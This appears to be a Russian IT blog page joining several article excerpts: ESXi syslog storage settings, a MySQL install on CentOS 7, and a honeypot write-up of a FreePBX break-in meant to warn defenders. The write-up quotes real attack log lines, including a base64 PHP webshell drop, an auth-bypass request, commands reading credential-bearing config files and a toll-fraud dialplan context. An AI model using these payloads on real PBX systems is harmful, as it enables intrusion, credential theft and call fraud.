По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие наши статьи:
img
В этой статье мы расскажем как исправить ошибку «System logs are stored on non-persistent storage» (Ваши события не будут сохранены при отключении сервера) в VMware ESXi Решение Проверка местоположения системных событий в vSphere Client (HTML5) В навигаторе vSphere Client выберите Hosts and Clusters view. Выберите хост-объект в навигаторе vSphere Client. Нажмите на вкладку Configure, затем System expander. В разделе System выберите Advanced System Settings. Убедитесь в том, что параметр Syslog.global.logDir в качестве местонахождения указывает постоянное хранилище. Если поле Syslog.global.logDir пустое или указывает на scratch partition, убедитесь, что поле ScratchConfig.CurrentScratchLocation в качестве местонахождения указывает постоянное хранилище. Если папка используется в качестве хранилища scratch, которое является общим для большого количества ESXi хостов, вам также необходимо установить поле Syslog.global.logDirUnique,чтобы избежать конкуренции лог-файлов. Примечание: Чтобы войти в datastore, запись Syslog.global.logDir должна быть в формате [Datastorename]/foldername. Чтобы войти в scratch partition в ScratchConfig.CurrentScratchLocation введите пустой формат или []/foldername. Версии ESXi 6.5, 6.7 и выше реагируют на изменения незамедлительно. Более старым версиям для этого может потребоваться перезагрузка. Проверка местоположения системных событий в vSphere Web Client Перейдите к хосту в навигаторе vSphere Web Client. Нажмите вкладку Manage, затем Settings. В разделе System выберите Advanced System Settings. Убедитесь в том, что параметр Syslog.global.logDir в качестве местонахождения указывает постоянное хранилище. Если поле Syslog.global.logDir пустое или указывает на scratch partition, убедитесь, что поле ScratchConfig.CurrentScratchLocation в качестве местонахождения указывает постоянное хранилище. Если папка используется в качестве хранилища scratch, которое является общим для большого количества ESXi хостов, вам также необходимо установить поле Syslog.global.logDirUnique,чтобы избежать конкуренции лог-файлов. Проверка местоположения системных событий в vSphere Client (vSphere 6.0 и более ранние версии) В программе vSphere Client выберите хост на инвентарной панели. Нажмите на вкладку Configuration, затем – на Advanced Settings в разделе Software. Убедитесь в том, что параметр Syslog.global.logDir в качестве местонахождения указывает постоянное хранилище. У каталога должны быть название и путь к хранилищу данных [datastorename] path_to_file. Например, [datastore1] /systemlogs. Если поле Syslog.global.logDir пустое или указывает scratch partition в качестве хранилища, убедитесь, что поле ScratchConfig.CurrentScratchLocation указывает в качестве местонахождения постоянное хранилище. Дополнительная информация Если вы видите, что работающий хост сохраняет информацию в хранилище scratch в формате >UUID (/vmfs/volumes/xxxxxxxx-xxxxxxxx-xxxx-xxxxxxxxxxxx/foldername) и хотите, чтобы имя «friendly» отобразилось в вашем vCenter или host client view, вы можете: Подключиться к рабочему хосту через сеанс SSH и войти в систему с учетными данными root Использовать команду: # esxcli storage filesystem list. Выход будет приблизительно таким: /vmfs/volumes/ad495351-37d00fe1-c498-a82a72e0c050 abc-lun3 ad495351-37d00fe1-c498-a82a72e0c050 true VMFS-5 805037932544 400613703680 В этом примере abc-lun3 – это имя «friendly» хранилища данных, которое вы найдете в вашем vCenter или host client, и запись Syslog.global.logDir должна быть в формате [abc-lun3]/foldername.
img
Всем привет! Сегодня в статье рассмотрим установку MySQL Server на CentOS 7. MySQL – популярная реляционная СУБД с открытым кодом, и, её популярность означает огромное количество информации в интернете и большое количество хорошо документированных библиотек. MySQL поддерживает множество стандартных функций, присущих СУБД – репликацию, триггеры и прочие. В большинстве дистрибутивов по умолчанию присутствуют репозитории, в которых есть нужный нам пакет MySQL – однако, на примере CentOS 7 Minimal я хотел бы показать процесс добавления официального YUM репозитория от Oracle, в котором всегда доступна последняя версия. Процесс установки Предварительно нам необходимо установить wget чтобы скачивать файлы – для этого выполните команду yum install wget. Далее, для начала процесса установки необходимо зайти на сайт MySQL по следующему линку: http://dev.mysql.com/downloads/repo/yum/ , выбрать необходимый дистрибутив (в нашем случае - Red Hat Enterprise Linux 7 / Oracle Linux 7) и нажать Download. Ссылка для скачивания может быть получена без регистрации, для этого нужно найти слова «No thanks, just start my download» Скопируем адрес ссылки и выполним команду wget с этим адресом: wget https://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm Без каких-либо модификаторов команда wget скачает файл в каталог, в котором вы находитесь в данный момент, далее необходимо выполнить команду rpm –Uvh mysql57-community-release-el7-11.noarch.rpm - для более простого ввода имени пакета воспользуйтесь табуляцией (нажать Tab). Теперь подключен официальный репозиторий Oracle, настала очередь установки непосредственно самого MySQL сервера: yum –y install mysql-community-server Процесс скачивания и установки пакета займёт какое-то время. Далее необходимо разрешить автозапуск демона MySQL при загрузке: /usr/bin/systemctl enable mysqld И запустить сам MySQL сервер: /usr/bin/systemctl start mysqld Настройка безопасности После старта сервера, необходимо настроить политики безопасности – для этого служит скрипт mysql_secure_installation - но предварительно нам понадобится случайно сгенерированный пароль для root – его можно выяснить с помощью команды grep 'temporary password' /var/log/mysqld.log. Пример на скриншоте ниже: Далее нужно ввести команду /usr/bin/mysql_secure_installation и вам будет предложено ввести данный пароль на рут, поменять его на нечто вроде E+FW4tz8$?/7$dCm и ответить на несколько вопросов: Set root password? [Y/n] Y - установка пароля на root; Remove anonymous users? [Y/n] Y - удаление анонимных пользователей; Disallow root login remotely? [Y/n] Y - запрет удаленного логина; Remove test database and access to it? [Y/n] Y - удаление тестовых баз данных и доступа к ним; Reload privilege tables now? [Y/n] Y - перезагрузка привилегированных таблиц; Очень советую пароль придумать максимально сложный – кроме того, по дефолту, у вас не получится поставить простой пароль. Создание тестовой базы данных и манипуляции с пользователями Когда вам понадобится дать доступ какому-нибудь приложению доступ к вашей БД, ни в коем случае нельзя этого делать от пользователя root – для каждого приложения должен быть создан свой пользователь. Для создания, сначала необходимо зайти в MySQL от имени администратора с помощью команды mysql -u root -p mysql . Далее я приведу пример создания БД testdb и открытия полного доступа к этой БД для пользователя testuser (имя пользователя и пароль соответственно необходимо скорректировать относительно вашей непосредственной задачи): create database testdb; grant all on appdb.* to 'testuser'@'localhost' identified by 'password'; quit Для проверки доступа нужно использовать команду mysql -u testuser -p -h localhost testdb , а для выводы всех имеющихся БД – команду SHOW DATABASES; Рассмотрим пример создания пользователя для MySQL и просмотра списка всех пользователей. MySQL содержит информацию о пользователях в своей собственной базе данных под названием mysql, внутри которой информация о пользователях находится в виде таблицы под названием user. Если вы хотите вывести весь список пользователей, то необходимо выполнить следующую команду: SELECT User, Host, Password FROM mysql.user; Это стандартный MySQL синтаксис. Давайте разберемся с ним: SELECT - запрос информации; User, Host, Password - конкретизация полей, из которых информация должна быть извлечена. В данном случае мы ищем информацию о пользователе, хостнейме и зашифрованном пароле; FROM mysql.user - запрашиваем информацию мы из БД mysql и таблицы user; ; - точка с запятой означают конец команды, в MySQL все запросы должны кончаться точкой с запятой;
img
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали. TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них: CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5. SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26) CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26 Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие. Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше. Разведка (Reconnaisance) Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники. Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты) Примерно через час после “открытия” нашей ловушки, мы увидели такую картину: На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение: 169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" Здесь: 169.197.108[.]42 – адрес, с которого осуществлялось обращение; GET /admin - запрос страницы https://11.22.33[.]44/admin; 301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен; "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome. Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе: 169.197.108[.]42 198.108.66[.]192 45.143.221[.]50 173.212.225[.]214 45.143.220[.]111 Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214. Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт: /rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42" /admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0" /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0" /admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0" Доставка (Delivery) Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden). Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python. Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64". Создание rr.php происходит после ввода: "GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64" Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке: 20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg Вот дешифровка: Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно! Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем? Инсталляция (Installation) Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl. В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды: Расшифруем: Вся эта радость сохраняется по пути /var/www/html/badr.php На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить. Управление (Command & Control) Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему! Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf. Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он: [badr-outcall]; thankuohoh exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})}); thankuohoh exten => _.,n,Set(_NODEST=); thankuohoh exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh exten => _.,n,Macro(outisbusy,); thankuohoh PROFIT (Actions on Objectives) Ну чтож, как говорится: Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста: 45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05" 45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05" А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам: Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ? Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности! PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001): [SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001 [INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)
ВЕСЕННИЕ СКИДКИ
40%
50%
60%
До конца акции: 30 дней 24 : 59 : 59